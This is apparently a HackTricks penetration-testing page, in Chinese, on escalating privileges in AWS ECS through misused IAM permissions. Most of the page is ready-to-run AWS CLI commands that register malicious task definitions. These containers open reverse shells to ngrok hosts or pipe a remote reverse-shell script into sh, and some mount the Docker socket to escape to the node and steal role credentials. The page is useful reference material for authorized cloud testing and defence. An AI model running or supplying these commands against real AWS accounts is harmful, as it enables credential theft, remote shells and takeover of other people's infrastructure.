AWS - ECS Privesc

支持 HackTricks

ECS

更多关于 ECS 的信息:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

攻击者滥用 ECS 中的 iam:PassRoleecs:RegisterTaskDefinitionecs:RunTask 权限,可以生成一个带有恶意容器的新任务定义,该容器会窃取元数据凭证并运行它

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

潜在影响: 直接提升权限到不同的ECS角色。

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

就像在前面的例子中,攻击者滥用 iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask 权限在ECS中可以生成一个新的任务定义,其中包含恶意容器,该容器会窃取元数据凭证并运行它。 然而,在这种情况下,需要一个容器实例来运行恶意任务定义。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

潜在影响: 直接提升到任何 ECS 角色。

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

就像在前面的例子中,攻击者滥用 iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateServiceecs:CreateService 权限,可以在 ECS 中生成一个带有恶意容器的新任务定义,该容器会窃取元数据凭证,并通过创建至少运行一个任务的新服务来运行它。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

潜在影响: 直接提升到任何ECS角色。

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

实际上,只需这些权限,就可以使用覆盖在具有任意角色的容器中执行任意命令,例如:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

潜在影响: 直接提升到任何 ECS 角色。

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

这个场景类似于之前的场景,但没有 iam:PassRole 权限。 这仍然很有趣,因为如果你可以运行一个任意容器,即使它没有角色,你也可以运行一个特权容器来逃逸到节点并窃取 EC2 IAM 角色在节点上运行的其他 ECS 容器角色。 你甚至可以强制其他任务在你妥协的 EC2 实例内运行以窃取它们的凭证(如在提升到节点部分中讨论的那样)。

此攻击仅在ECS 集群使用 EC2 实例而不是 Fargate 时才可能。

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

具有 ecs:ExecuteCommand, ecs:DescribeTasks 权限的攻击者可以在运行中的容器内执行命令并泄露附加到它的 IAM 角色(你需要描述权限,因为运行 aws ecs execute-command 是必要的)。 然而,为了做到这一点,容器实例需要运行 ExecuteCommand agent(默认情况下不是)。

因此,攻击者可以尝试:

  • 尝试在每个运行中的容器中运行命令

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • 如果他有 ecs:RunTask,使用 aws ecs run-task --enable-execute-command [...] 运行一个任务

  • 如果他有 ecs:StartTask,使用 aws ecs start-task --enable-execute-command [...] 运行一个任务

  • 如果他有 ecs:CreateService,使用 aws ecs create-service --enable-execute-command [...] 创建一个服务

  • 如果他有 ecs:UpdateService,使用 aws ecs update-service --enable-execute-command [...] 更新一个服务

你可以在之前的 ECS privesc 部分找到这些选项的示例

潜在影响: 提升到附加到容器的不同角色。

ssm:StartSession

查看 ssm privesc 页面,了解如何滥用此权限以提升到 ECS

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

查看 ec2 privesc 页面,了解如何滥用这些权限以提升到 ECS

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: 是否可以从不同的 AWS 账户注册一个实例,以便任务在攻击者控制的机器上运行?

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: 测试这个

拥有 ecs:CreateTaskSetecs:UpdateServicePrimaryTaskSetecs:DescribeTaskSets 权限的攻击者可以为现有的 ECS 服务创建一个恶意任务集并更新主任务集。这允许攻击者在服务中执行任意代码

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

潜在影响: 在受影响的服务中执行任意代码,可能影响其功能或泄露敏感数据。

参考资料

支持 HackTricks

Last updated